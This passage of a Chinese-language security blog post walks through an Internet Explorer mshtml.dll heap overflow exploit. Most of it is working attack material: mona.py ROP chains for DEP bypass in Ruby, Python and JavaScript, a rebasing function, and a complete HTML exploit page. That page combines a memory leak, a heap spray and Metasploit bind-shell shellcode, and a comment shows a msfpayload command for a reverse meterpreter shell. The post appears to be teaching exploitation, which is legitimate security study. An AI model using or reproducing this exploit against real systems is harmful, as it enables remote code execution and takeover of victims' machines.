        "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
        "%ub796%u6916" + // 0x6916b796 : ,# POP EDX # RETN [mshtml.dll] 
        "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
        "%u7863%u6915" + // 0x69157863 : ,# POP ECX # RETN [mshtml.dll] 
        "%u8737%u693a" + // 0x693a8737 : ,# &Writable location [mshtml.dll]
        "%uca2f%u6904" + // 0x6904ca2f : ,# POP EDI # RETN [mshtml.dll] 
        "%u38e2%u68ff" + // 0x68ff38e2 : ,# RETN (ROP NOP) [mshtml.dll]
        "%u4dfb%u6909" + // 0x69094dfb : ,# POP ESI # RETN [mshtml.dll] 
        "%uc0a3%u68e7" + // 0x68e7c0a3 : ,# JMP [EAX] [mshtml.dll]
        "%u13ef%u691c" + // 0x691c13ef : ,# POP EAX # RETN [mshtml.dll] 
        "%u1348%u68e7" + // 0x68e71348 : ,# ptr to &VirtualProtect() [IAT mshtml.dll]
        "%ucce2%u68ed" + // 0x68edcce2 : ,# PUSHAD # RETN [mshtml.dll] 
        "%ub04f%u68ea" + // 0x68eab04f : ,# ptr to 'jmp esp' [mshtml.dll]
        ""); //  : 


--------------------------------------------------------------------------------------------------


################################################################################

Register setup for VirtualAlloc() :
--------------------------------------------
 EAX = NOP (0x90909090)
 ECX = flProtect (0x40)
 EDX = flAllocationType (0x1000)
 EBX = dwSize
 ESP = lpAddress (automatic)
 EBP = ReturnTo (ptr to jmp esp)
 ESI = ptr to VirtualAlloc()
 EDI = ROP NOP (RETN)
 --- alternative chain ---
 EAX = ptr to &VirtualAlloc()
 ECX = flProtect (0x40)
 EDX = flAllocationType (0x1000)
 EBX = dwSize
 ESP = lpAddress (automatic)
 EBP = POP (skip 4 bytes)
 ESI = ptr to JMP [EAX]
 EDI = ROP NOP (RETN)
 + place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------


ROP Chain for VirtualAlloc() [(XP/2003 Server and up)] :
--------------------------------------------------------

*** [ Ruby ] ***

    def create_rop_chain()

        # rop chain generated with mona.py - www.corelan.be
        rop_gadgets = 
        [
            0x6901303f,    # POP EBP # RETN [mshtml.dll] 
            0x6901303f,    # skip 4 bytes [mshtml.dll]
            0x68f5e366,    # POP EBX # RETN [mshtml.dll] 
            0x00000001,    # 0x00000001-> ebx
            0x68f0ced0,    # POP EDX # RETN [mshtml.dll] 
            0x00001000,    # 0x00001000-> edx
            0x6920f24a,    # POP ECX # RETN [mshtml.dll] 
            0x00000040,    # 0x00000040-> ecx
            0x68fa30d7,    # POP EDI # RETN [mshtml.dll] 
            0x68ff38e2,    # RETN (ROP NOP) [mshtml.dll]
            0x692b8fed,    # POP ESI # RETN [mshtml.dll] 
            0x68e7c0a3,    # JMP [EAX] [mshtml.dll]
            0x68f5a075,    # POP EAX # RETN [mshtml.dll] 
            0x68e7134c,    # ptr to &VirtualAlloc() [IAT mshtml.dll]
            0x6910e967,    # PUSHAD # RETN [mshtml.dll] 
            0x68eab04f,    # ptr to 'jmp esp' [mshtml.dll]
        ].flatten.pack("V*")

        return rop_gadgets

    end


    # Call the ROP chain generator inside the 'exploit' function :


    rop_chain = create_rop_chain()



*** [ Python ] ***

    def create_rop_chain():

        # rop chain generated with mona.py - www.corelan.be
        rop_gadgets = ""
        rop_gadgets += struct.pack('<L',0x6901303f)    # POP EBP # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x6901303f)    # skip 4 bytes [mshtml.dll]
        rop_gadgets += struct.pack('<L',0x68f5e366)    # POP EBX # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x00000001)    # 0x00000001-> ebx
        rop_gadgets += struct.pack('<L',0x68f0ced0)    # POP EDX # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x00001000)    # 0x00001000-> edx
        rop_gadgets += struct.pack('<L',0x6920f24a)    # POP ECX # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x00000040)    # 0x00000040-> ecx
        rop_gadgets += struct.pack('<L',0x68fa30d7)    # POP EDI # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x68ff38e2)    # RETN (ROP NOP) [mshtml.dll]
        rop_gadgets += struct.pack('<L',0x692b8fed)    # POP ESI # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x68e7c0a3)    # JMP [EAX] [mshtml.dll]
        rop_gadgets += struct.pack('<L',0x68f5a075)    # POP EAX # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x68e7134c)    # ptr to &VirtualAlloc() [IAT mshtml.dll]
        rop_gadgets += struct.pack('<L',0x6910e967)    # PUSHAD # RETN [mshtml.dll] 
        rop_gadgets += struct.pack('<L',0x68eab04f)    # ptr to 'jmp esp' [mshtml.dll]
        return rop_gadgets

    rop_chain = create_rop_chain()



*** [ JavaScript ] ***

    //rop chain generated with mona.py - www.corelan.be
    rop_gadgets = unescape(
        "%u303f%u6901" + // 0x6901303f : ,# POP EBP # RETN [mshtml.dll] 
        "%u303f%u6901" + // 0x6901303f : ,# skip 4 bytes [mshtml.dll]
        "%ue366%u68f5" + // 0x68f5e366 : ,# POP EBX # RETN [mshtml.dll] 
        "%u0001%u0000" + // 0x00000001 : ,# 0x00000001-> ebx
        "%uced0%u68f0" + // 0x68f0ced0 : ,# POP EDX # RETN [mshtml.dll] 
        "%u1000%u0000" + // 0x00001000 : ,# 0x00001000-> edx
        "%uf24a%u6920" + // 0x6920f24a : ,# POP ECX # RETN [mshtml.dll] 
        "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> ecx
        "%u30d7%u68fa" + // 0x68fa30d7 : ,# POP EDI # RETN [mshtml.dll] 
        "%u38e2%u68ff" + // 0x68ff38e2 : ,# RETN (ROP NOP) [mshtml.dll]
        "%u8fed%u692b" + // 0x692b8fed : ,# POP ESI # RETN [mshtml.dll] 
        "%uc0a3%u68e7" + // 0x68e7c0a3 : ,# JMP [EAX] [mshtml.dll]
        "%ua075%u68f5" + // 0x68f5a075 : ,# POP EAX # RETN [mshtml.dll] 
        "%u134c%u68e7" + // 0x68e7134c : ,# ptr to &VirtualAlloc() [IAT mshtml.dll]
        "%ue967%u6910" + // 0x6910e967 : ,# PUSHAD # RETN [mshtml.dll] 
        "%ub04f%u68ea" + // 0x68eab04f : ,# ptr to 'jmp esp' [mshtml.dll]
        ""); //  : 


--------------------------------------------------------------------------------------------------


    ROP generator finished

[+] Preparing output file 'stackpivot.txt'
    - (Re)setting logfile stackpivot.txt
[+] Writing stackpivots to file stackpivot.txt
    Wrote 18720 pivots to file 
[+] Preparing output file 'rop_suggestions.txt'
    - (Re)setting logfile rop_suggestions.txt
[+] Writing suggestions to file rop_suggestions.txt
    Wrote 7535 suggestions to file
[+] Preparing output file 'rop.txt'
    - (Re)setting logfile rop.txt
[+] Writing results to file rop.txt (49111 interesting gadgets)
    Wrote 49111 interesting gadgets to file
[+] Writing other gadgets to file rop.txt (77513 gadgets)
    Wrote 77513 other gadgets to file
Done

[+] This mona.py action took 0:47:42.121000

此时生成的ROP是绝对地址的,我们来用python生成相对地址,具体见我的另一篇文章
function ROP_RVA(base){
    var result="unsecape(\"";
    result+="%u"+("000"+((base+0x6d743)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x6d743)/0x10000).toString(16)).substr(-4);
    result+="%u"+("000"+((base+0x6d743)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x6d743)/0x10000).toString(16)).substr(-4);
    result+="%u"+("000"+((base+0x43240a)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x43240a)/0x10000).toString(16)).substr(-4);
    result+="%u"+("000"+0x201.toString(16)).substr(-4)+"%u0000";
    result+="%u"+("000"+((base+0x2fb796)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x2fb796)/0x10000).toString(16)).substr(-4);
    result+="%u"+("000"+0x40.toString(16)).substr(-4)+"%u0000";
    result+="%u"+("000"+((base+0x2e7863)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x2e7863)/0x10000).toString(16)).substr(-4);
    result+="%u"+("000"+((base+0x538737)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x538737)/0x10000).toString(16)).substr(-4);
    result+="%u"+("000"+((base+0x1dca2f)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x1dca2f)/0x10000).toString(16)).substr(-4);
    result+="%u"+("000"+((base+0x1838e2)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x1838e2)/0x10000).toString(16)).substr(-4);
    result+="%u"+("000"+((base+0x224dfb)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x224dfb)/0x10000).toString(16)).substr(-4);
    result+="%u"+("000"+((base+0xc0a3)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0xc0a3)/0x10000).toString(16)).substr(-4);
    result+="%u"+("000"+((base+0x3513ef)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x3513ef)/0x10000).toString(16)).substr(-4);
    result+="%u"+("000"+((base+0x1348)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x1348)/0x10000).toString(16)).substr(-4);
    result+="%u"+("000"+((base+0x6cce2)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x6cce2)/0x10000).toString(16)).substr(-4);
    result+="%u"+("000"+((base+0x3b04f)%0x10000).toString(16)).substr(-4)+"%u"+("000"+Math.floor((base+0x3b04f)/0x10000).toString(16)).substr(-4);
    result+="\")";
    return result
}
ROP后边跟shellcode,再布置heap spray,最后的利用代码为:
<html>
<body>
<div id="evil"></div>
<table style="table-layout:fixed" ><col id="132" width="41" span="9" >  </col></table>
<script language='javascript'>

function strtoint(str) {
        return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}

var free = "EEEE";
while ( free.length < 500 ) free += free;

var string1 = "AAAA";
while ( string1.length < 500 ) string1 += string1;

var string2 = "BBBB";
while ( string2.length < 500 ) string2 += string2;

var fr = new Array();
var al = new Array();
var bl = new Array();

var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";

for (var i=0; i < 500; i+=2) {
        fr[i] = free.substring(0, (0x100-6)/2);
        al[i] = string1.substring(0, (0x100-6)/2);
        bl[i] = string2.substring(0, (0x100-6)/2);
        var obj = document.createElement("button");
        div_container.appendChild(obj);
}

for (var i=200; i<500; i+=2 ) {
        fr[i] = null;
        CollectGarbage();
}

function heapspray(cbuttonlayout) {
    CollectGarbage();
    var rop = cbuttonlayout + 4161; // RET
    var rop = rop.toString(16);
    var rop1 = rop.substring(4,8);
    var rop2 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 11360; // POP EBP
    var rop = rop.toString(16);
    var rop3 = rop.substring(4,8);
    var rop4 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 111675; // XCHG EAX,ESP
    var rop = rop.toString(16);
    var rop5 = rop.substring(4,8);
    var rop6 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 12377; // POP EBX
    var rop = rop.toString(16);
    var rop7 = rop.substring(4,8);
    var rop8 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 642768; // POP EDX
    var rop = rop.toString(16);
    var rop9 = rop.substring(4,8);
    var rop10 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 12201; // POP ECX --> Changed
    var rop = rop.toString(16);
    var rop11 = rop.substring(4,8);
    var rop12 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 5504544; // Writable location
    var rop = rop.toString(16);
    var writable1 = rop.substring(4,8);
    var writable2 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 12462; // POP EDI
    var rop = rop.toString(16);
    var rop13 = rop.substring(4,8);
    var rop14 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 12043; // POP ESI --> changed
    var rop = rop.toString(16);
    var rop15 = rop.substring(4,8);
    var rop16 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 63776; // JMP EAX
    var rop = rop.toString(16);
    var jmpeax1 = rop.substring(4,8);
    var jmpeax2 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 85751; // POP EAX
    var rop = rop.toString(16);
    var rop17 = rop.substring(4,8);
    var rop18 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 4936; // VirtualProtect()
    var rop = rop.toString(16);
    var vp1 = rop.substring(4,8);
    var vp2 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 454843; // MOV EAX,DWORD PTR DS:[EAX]
    var rop = rop.toString(16);
    var rop19 = rop.substring(4,8);
    var rop20 = rop.substring(0,4); // } RET

    var rop = cbuttonlayout + 234657; // PUSHAD
    var rop = rop.toString(16);
    var rop21 = rop.substring(4,8);
    var rop22 = rop.substring(0,4); // } RET


    var rop = cbuttonlayout + 408958; // PUSH ESP
    var rop = rop.toString(16);
    var rop23 = rop.substring(4,8);
    var rop24 = rop.substring(0,4); // } RET

    var shellcode = unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING
    shellcode+= unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING
    shellcode+= unescape("%u4141%u4141"); // PADDING

    shellcode+= unescape("%u"+rop1+"%u"+rop2); // RETN
    shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP # RETN
    shellcode+= unescape("%u"+rop5+"%u"+rop6); // XCHG EAX,ESP # RETN

    // Standard DEP bypass
    shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
    shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
    shellcode+= unescape("%u"+rop7+"%u"+rop8); // POP EBP
    shellcode+= unescape("%u1024%u0000"); // Size 0x00001024
    shellcode+= unescape("%u"+rop9+"%u"+rop10); // POP EDX
    shellcode+= unescape("%u0040%u0000"); // 0x00000040
    shellcode+= unescape("%u"+rop11+"%u"+rop12); // POP ECX
    shellcode+= unescape("%u"+writable1+"%u"+writable2); // Writable Location
    shellcode+= unescape("%u"+rop13+"%u"+rop14); // POP EDI
    shellcode+= unescape("%u"+rop1+"%u"+rop2); // RET
    shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI
    shellcode+= unescape("%u"+jmpeax1+"%u"+jmpeax2); // JMP EAX
    shellcode+= unescape("%u"+rop17+"%u"+rop18); // POP EAX
    shellcode+= unescape("%u"+vp1+"%u"+vp2); // VirtualProtect()
    shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX]
    shellcode+= unescape("%u"+rop21+"%u"+rop22); // PUSHAD
    shellcode+= unescape("%u"+rop23+"%u"+rop24); // PUSH ESP
    shellcode+= unescape("%u9090%u9090"); // NOPs
    shellcode+= unescape("%u9090%u9090"); // NOPs
    shellcode+= unescape("%u9090%u9090"); // NOPs

    // Bind shellcode on 4444 :)
    // msf > generate -t js_le
    // windows/shell_bind_tcp - 342 bytes
    // http://www.metasploit.com
    // VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false,
    // EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
    // I would keep the shellcode the same size for better reliability :) also would stay away from meterpreter/reverse_tcp
    // You can also generate as follows: msfpayload windows/meterpreter/reverse_https LHOST=192.168.12.13 LPORT=443 R | msfencode -a x86 -t js_le

    shellcode+= unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b" +
                             "%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a" +
                             "%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf" +
                             "%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001" +
                             "%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18" +
                             "%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31" +
                             "%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03" +
                             "%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +
                             "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489" +
                             "%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a" +
                             "%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32" +
                             "%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900" +
                             "%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050" +
                             "%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7" +
                             "%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857" +
                             "%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff" +
                             "%u53d5%u5753%u7468%u3bec%uffe1%u57d5%uc789" +
                             "%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389" +
                             "%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7" +
                             "%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650" +
                             "%u5656%u5646%u564e%u5356%u6856%ucc79%u863f" +
                             "%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d" +
                             "%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff" +
                             "%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72" +
                             "%u006a%uff53%u41d5");

    // Total spray should be 1000
    var padding = unescape("%u9090");
    while (padding.length < 1000)
        padding = padding + padding;
    var padding = padding.substr(0, 1000 - shellcode.length);

    shellcode+= padding;

    while (shellcode.length < 100000)
        shellcode = shellcode + shellcode;

    var onemeg = shellcode.substr(0, 64*1024/2);

    for (i=0; i<14; i++) {
        onemeg += shellcode.substr(0, 64*1024/2);
    }

    onemeg += shellcode.substr(0, (64*1024/2)-(38/2));

    var spray = new Array();

    for (i=0; i<100; i++) {
        spray[i] = onemeg.substr(0, onemeg.length);
    }
}

function leak(){
        var leak_col = document.getElementById("132");
        leak_col.width = "41";
        leak_col.span = "19";
}

function get_leak() {
        var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13));
        str_addr = str_addr - 1410704;
        var hex = str_addr.toString(16);
        //alert(hex);
        setTimeout(function(){heapspray(str_addr)}, 50);
}

function trigger_overflow(){
        var evil_col = document.getElementById("132");
        evil_col.width = "1245880";
        evil_col.span = "44";
}

setTimeout(function(){leak()}, 400);
setTimeout(function(){get_leak()},450);
setTimeout(function(){trigger_overflow()}, 700);

</script>
</body>
</html>


参考文章:
1. https://www.exploit-db.com/exploits/24017/
2. 漏洞战争
3. http://bbs.pediy.com/showthread.php?t=202089


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值